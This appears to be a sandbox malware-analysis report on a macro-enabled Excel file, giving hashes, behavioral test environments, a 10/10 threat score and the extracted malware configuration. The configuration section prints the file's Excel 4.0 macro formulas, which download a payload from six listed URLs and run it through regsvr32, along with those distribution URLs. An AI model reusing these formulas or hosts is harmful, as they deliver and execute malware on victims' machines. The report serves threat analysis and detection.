General
-
Target
885a4ef4e20c417b0b8c70065032fe944483f1eb4d02dea4f0168d8bbd679dd1
-
Size
48KB
-
Sample
241111-wpt4wsshrj
-
MD5
55d11db749f61d94ebab1d765a07aeec
-
SHA1
fef0e36f17307b6f96ad7aa3c4fc01346b4a7642
-
SHA256
885a4ef4e20c417b0b8c70065032fe944483f1eb4d02dea4f0168d8bbd679dd1
-
SHA512
0aadcce5af3b28169a4113b879d148c3a0b1999a5191e55bef2044fabfeb623b63cbffb419f3bdb1dc617d2467155d0ccdb21173dc32972fb181df40c723e915
-
SSDEEP
768:02uCkFF/vxRhR0KDNWBA7rTj+RYV8Q0RuVBR2jPrtysHRX0BAR5:buTlbMKDNck01u/R2rZyjB+5
Behavioral task
behavioral1
Sample
885a4ef4e20c417b0b8c70065032fe944483f1eb4d02dea4f0168d8bbd679dd1.xlsm
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
885a4ef4e20c417b0b8c70065032fe944483f1eb4d02dea4f0168d8bbd679dd1.xlsm
Resource
win10v2004-20241007-en
Malware Config
Extracted
http://henrysfreshroast.com/OevI7Yy0i6YShxFl/
http://www.ajaxmatters.com/c7g8t/nnzJJ1rKFD2P/
http://aopda.org/wp-content/uploads/5oTAVJyjDFOllX2uE/
https://winnieswondersaviary.com/wp-content/mxPfty43IionmElgK3h/
http://1000paginas.com/tienda/vWtT/
http://crm.techopesolutions.com/b48om9p6/vquxKuTvTj/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://henrysfreshroast.com/OevI7Yy0i6YShxFl/","..\si.ocx",0,0) =IF('LGGDGB'!E11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ajaxmatters.com/c7g8t/nnzJJ1rKFD2P/","..\si.ocx",0,0)) =IF('LGGDGB'!E13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://aopda.org/wp-content/uploads/5oTAVJyjDFOllX2uE/","..\si.ocx",0,0)) =IF('LGGDGB'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://winnieswondersaviary.com/wp-content/mxPfty43IionmElgK3h/","..\si.ocx",0,0)) =IF('LGGDGB'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://1000paginas.com/tienda/vWtT/","..\si.ocx",0,0)) =IF('LGGDGB'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://crm.techopesolutions.com/b48om9p6/vquxKuTvTj/","..\si.ocx",0,0)) =IF('LGGDGB'!E21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\si.ocx") =RETURN()
Extracted
http://henrysfreshroast.com/OevI7Yy0i6YShxFl/
Targets
-
-
Target
885a4ef4e20c417b0b8c70065032fe944483f1eb4d02dea4f0168d8bbd679dd1
-
Size
48KB
-
MD5
55d11db749f61d94ebab1d765a07aeec
-
SHA1
fef0e36f17307b6f96ad7aa3c4fc01346b4a7642
-
SHA256
885a4ef4e20c417b0b8c70065032fe944483f1eb4d02dea4f0168d8bbd679dd1
-
SHA512
0aadcce5af3b28169a4113b879d148c3a0b1999a5191e55bef2044fabfeb623b63cbffb419f3bdb1dc617d2467155d0ccdb21173dc32972fb181df40c723e915
-
SSDEEP
768:02uCkFF/vxRhR0KDNWBA7rTj+RYV8Q0RuVBR2jPrtysHRX0BAR5:buTlbMKDNck01u/R2rZyjB+5
Score10/10-
Process spawned unexpected child process
This typically indicates the parent process was compromised via an exploit or macro.
-